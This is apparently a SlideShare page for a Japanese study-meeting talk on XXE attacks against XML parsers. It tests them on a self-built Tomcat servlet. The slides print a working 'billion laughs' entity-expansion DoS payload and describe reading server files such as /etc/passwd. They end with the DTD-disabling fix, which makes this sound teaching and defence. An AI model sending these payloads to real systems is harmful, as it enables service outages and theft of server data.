SlideShare una empresa de Scribd logo
1 de 30
いまさら話題のXML
~XXE攻撃のお話~
@shunaroo
とっしんの会 #2
2017/12/17
自己紹介
@shunaroo
 社会人5年目の社内SE
 社内向けシステム開発とか社内PJの支援とか
 社内のセキュリティ対策整備(今年から)
 興味ある事
 セキュリティ(どちらかというと攻撃の方)
 ディープラーニング NEW!
 とっしんの会 #1にて、ディープラーニング常識的な感じだったので
焦って勉強中
 久々の数式に悪戦苦闘しながらも割と楽しい
コレ
今日のお話
最近話題のXML
~キーワード~
・XML
・XXE攻撃
・OWASP
なんでいまさらXML?
突如 流星の如く OWASP TOP 10にXMLの攻撃がランクインしたため
コレ
OWASPとは?
OWASP(Open Web Application Security Project)
Webアプリのセキュリティのコミュニティ
・セキュリティの現状調査
・セキュアな開発を促進
https://www.owasp.org/index.php/Main_Page
みんなでセキュアに
していこう!
OWASP TOP10とは?
特に注意したほうがよいとされる10のWebアプリケーション脆弱性
・3,4年で更新される
・この10個をセキュリティ対策範囲やテスト範囲としているベンダもある
(この範囲が変わると大変な人もいる)
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
OWASPではTOP10のほかにも便利な成果物を多数リリース
・脆弱性診断ツール
・セキュア開発ドキュメント
などなど
なんでXMLの脆弱性がランクイン?
それは誰もわからない
Twitterでも疑問の嵐
理由はともあれとりあえず調べてみた
XML(ExtensibleMarkupLanguage)
・「意味」と「内容」を分けたデータ形式
プレゼン表紙をXML形式にするとこんなの↓
<presentation>
<title>Too Late Topic of XML</title>
<speaker> shunaroo</speaker>
</presentation>
参考)CSV形式の場合
“Too Late Topic of XML”, shunaroo
まずはXMLのおさらい
データの意味がわかりやすい
発表者がだれかわかる
データの意味がわかりにくい
shunarooとは?(哲学)
実はいろいろなところで使われている
主な用途はプログラミングの設定ファイル
参照
あなたの好きなサイトやソフトの裏側
すごいプログラム XML形式の設定
みんな大好きOffice製品のデータ形式(○○x)のXはXMLの意味
XMLが使われていることを確認する方法
拡張子を
ZIPに変更
展開
Yeah!!
XMLにかかせないDTD
XMLは自由に書くことはできるが、
いろいろな人が使う場合自由すぎるとカオスになる(争いの元)
XMLにかかせないDTD
いろいろな人が使う場合、ルールがほしくなる(ないとカオス)
⇒DTD(Document Type Definition)でXMLのルールを定義する
プレゼン表紙XMLのDTD
<!DOCTYPE presentation [
<!ELEMENT presentation(title, presenter)>
<!ELEMENT title(#PCDATA)>
<!ELEMENT speaker (#PCDATA)>
]>
一番上のタグの名前を定義
一番上のタグの要素を定義
タグの中に2つのタグがあることを表す
タグの要素をそれぞれ定義
<presentation>
<title> Too Late Topic of XML </title>
<speaker> shunaroo</ speaker >
</presentation>ルールに従って作ったのがコレ
タグの要素をそれぞれ定義
タグの中身は文字が入ることを表す
便利な実体参照
繰り返し使う文字やまとまりを毎回いちいち書くのは面倒
同じところをすべて直すのも面倒
⇒実体参照(&実体名;)を使う
<!DOCTYPE presentation [
<!ENTITY refTitle " Too Late Topic of XML ">
<!ENTITY refSpeaker SYSTEM "K:speaker.xml">
]>
<presentation>
<title>&refTitle;</title>
<speaker>&refSpeaker;</speaker>
</presentation>
shunaroo
Too late Topic of XMLと書くのとのと同じ
shunarooと書くのと同じ
おさらいはここまで
XXE攻撃とは?
XML External Entity=XMLの外部実体参照のこと
XXE攻撃
外部実体参照の脆弱性をついた攻撃
主な目的は2つ
①情報の搾取
外部実体参照の仕組みを利用し、サーバ内の情報を得ようとする
②サービス停止
参照をさせまくり、サービスに負荷をかける
実際やってみた
検証環境
サーブレットアプリを作成し、リクエストの中身を書き換えて攻撃してみた
ブラウザ(クローム)
サーバ(Tomcat)
プロキシツール(Burp Suite)
ブラウザからサーバへのリクエスト
を書き換える
OS(Windows)
にゃ~ん
アプリについて
TitleタグとSpeakerタグの要素を画面に表示するだけ
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String title = doc.getElementsByTagName("title").item(0).getTextContent();
String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent();
out.println("Title:" + title + " Speaker:" + speaker);
} catch (Exception e) {
e.printStackTrace();
}
}
超参考:https://www.mbsd.jp/blog/20171130.html
要素を取得
取得した要素を表示
まずは正常のリクエスト
BurpSuiteで普通のリクエストをサーバに送信
各タグの要素を表示
BodyにXMLを記載
ん?
実はXXE攻撃の片りん(①情報の搾取)
サーバと同じ権限でファイルの中身表示できちゃううううううううううううう
Linux系だったら/etc/passwdを指定すれば
パスワードファイルがのぞけちゃうOMG!
XXE攻撃(②サービス停止)
外部参照しまくる
<!DOCTYPE presentation [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<presentation>
<title>Too Late Topic of XML</title>
<speaker>shunaroo&lol10;</speaker>
</presentation>
XXE攻撃(②サービス停止)
外部参照しまくる
<!DOCTYPE presentation [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<presentation>
<title>Too Late Topic of XML</title>
<speaker>shunaroo&lol10;</speaker>
</presentation>
参照回数
10回
100回
1000回
1万回
10万回
100万回
1000万回
1億回
10億回
一つの実体参照に見えるが
10億回の参照が発生
めっちゃ地味な嫌がらせ
XXE攻撃(②サービス停止)
外部参照しまくる
何も出ない
XXE攻撃(②サービス停止)
外部参照しまくる
サーバ側でExceptionが発生していた
JDK1.7では64000回までの拡張制限があった
言語やフレームワークによっては
DoS攻撃が成功しない場合もある模様
XXE攻撃の対策
外部からのDTDを許可しない!!
例えばさっきのアプリの場合
DTD宣言の無効化設定を追加
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String title = doc.getElementsByTagName("title").item(0).getTextContent();
String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent();
out.println("Title:" + title + " Speaker:" + speaker);
} catch (Exception e) {
e.printStackTrace();
}
}
超参考:https://www.mbsd.jp/blog/20171130.html
DTD無効化
例えばさっきのアプリの場合
◎DTDがある場合、
何も表示しなくなった
まとめ
今日の話
XMLの外部実体参照にまつわる攻撃と対策
対策/教訓
そもそも知らない人からもらったDTDを信用しない
セキュリティの世界は性悪説が基本
入力系セキュリティ対策=すべて基本的に疑う!
参考
XXE攻撃 基本編
https://www.mbsd.jp/blog/20171130.html
OWASP
https://www.owasp.org/index.php/Main_Page
Burp Suite
https://portswigger.net/burp

Más contenido relacionado

La actualidad más candente

文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
 
CloudWatchの使い方
CloudWatchの使い方CloudWatchの使い方
CloudWatchの使い方
ShinsukeYokota
 

La actualidad más candente (20)

Web API(Dynamics 365 )勉強会
Web API(Dynamics 365 )勉強会Web API(Dynamics 365 )勉強会
Web API(Dynamics 365 )勉強会
 
ソフトウェアパターン概論およびパターンを活用したアーキテクチャ設計
ソフトウェアパターン概論およびパターンを活用したアーキテクチャ設計ソフトウェアパターン概論およびパターンを活用したアーキテクチャ設計
ソフトウェアパターン概論およびパターンを活用したアーキテクチャ設計
 
Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
 
WebSocket / WebRTCの技術紹介
WebSocket / WebRTCの技術紹介WebSocket / WebRTCの技術紹介
WebSocket / WebRTCの技術紹介
 
Zabbix概論2018
Zabbix概論2018Zabbix概論2018
Zabbix概論2018
 
製造装置データ収集の選択肢 (AWS IoT Deep Dive #5)
製造装置データ収集の選択肢 (AWS IoT Deep Dive #5)製造装置データ収集の選択肢 (AWS IoT Deep Dive #5)
製造装置データ収集の選択肢 (AWS IoT Deep Dive #5)
 
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
 
Ormとの付き合い方
Ormとの付き合い方Ormとの付き合い方
Ormとの付き合い方
 
Zabbix超入門
Zabbix超入門Zabbix超入門
Zabbix超入門
 
Spring Boot ユーザの方のための Quarkus 入門
Spring Boot ユーザの方のための Quarkus 入門Spring Boot ユーザの方のための Quarkus 入門
Spring Boot ユーザの方のための Quarkus 入門
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
 
最近のやられアプリを試してみた
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみた
 
君はyarn.lockをコミットしているか?
君はyarn.lockをコミットしているか?君はyarn.lockをコミットしているか?
君はyarn.lockをコミットしているか?
 
失敗から学ぶAWSの監視
失敗から学ぶAWSの監視失敗から学ぶAWSの監視
失敗から学ぶAWSの監視
 
Swaggerで始めるモデルファーストなAPI開発
Swaggerで始めるモデルファーストなAPI開発Swaggerで始めるモデルファーストなAPI開発
Swaggerで始めるモデルファーストなAPI開発
 
JIRA Agileを活用したアジャイル開発実践事例 #AUGJ
JIRA Agileを活用したアジャイル開発実践事例 #AUGJJIRA Agileを活用したアジャイル開発実践事例 #AUGJ
JIRA Agileを活用したアジャイル開発実践事例 #AUGJ
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
CloudWatchの使い方
CloudWatchの使い方CloudWatchの使い方
CloudWatchの使い方
 
脆弱性スキャナVulsで始めるセキュリティ対策
脆弱性スキャナVulsで始めるセキュリティ対策脆弱性スキャナVulsで始めるセキュリティ対策
脆弱性スキャナVulsで始めるセキュリティ対策
 

Similar a いまさら話題のXML (6)

Atrandom.20101030
Atrandom.20101030Atrandom.20101030
Atrandom.20101030
 
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
 
セキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えようセキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えよう
 
THK_ITS #5 2010.11.13
THK_ITS #5 2010.11.13THK_ITS #5 2010.11.13
THK_ITS #5 2010.11.13
 
ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性
 
OWASP Top 10 超初級編 (2021 Ver.)
OWASP Top 10 超初級編 (2021 Ver.)OWASP Top 10 超初級編 (2021 Ver.)
OWASP Top 10 超初級編 (2021 Ver.)
 

Más de shuna roo

Más de shuna roo (12)

オープンソースソフトウェアのお話
オープンソースソフトウェアのお話オープンソースソフトウェアのお話
オープンソースソフトウェアのお話
 
MITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよMITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよ
 
Mitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOSTMitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOST
 
MITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer ProtocolMITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer Protocol
 
TryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキルTryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキル
 
5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ
 
Cyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーンCyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーン
 
Open xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunarooOpen xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunaroo
 
Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)
 
ハニーポットはじめてみました
ハニーポットはじめてみましたハニーポットはじめてみました
ハニーポットはじめてみました
 
Capture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunarooCapture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunaroo
 
DVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunarooDVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunaroo
 

いまさら話題のXML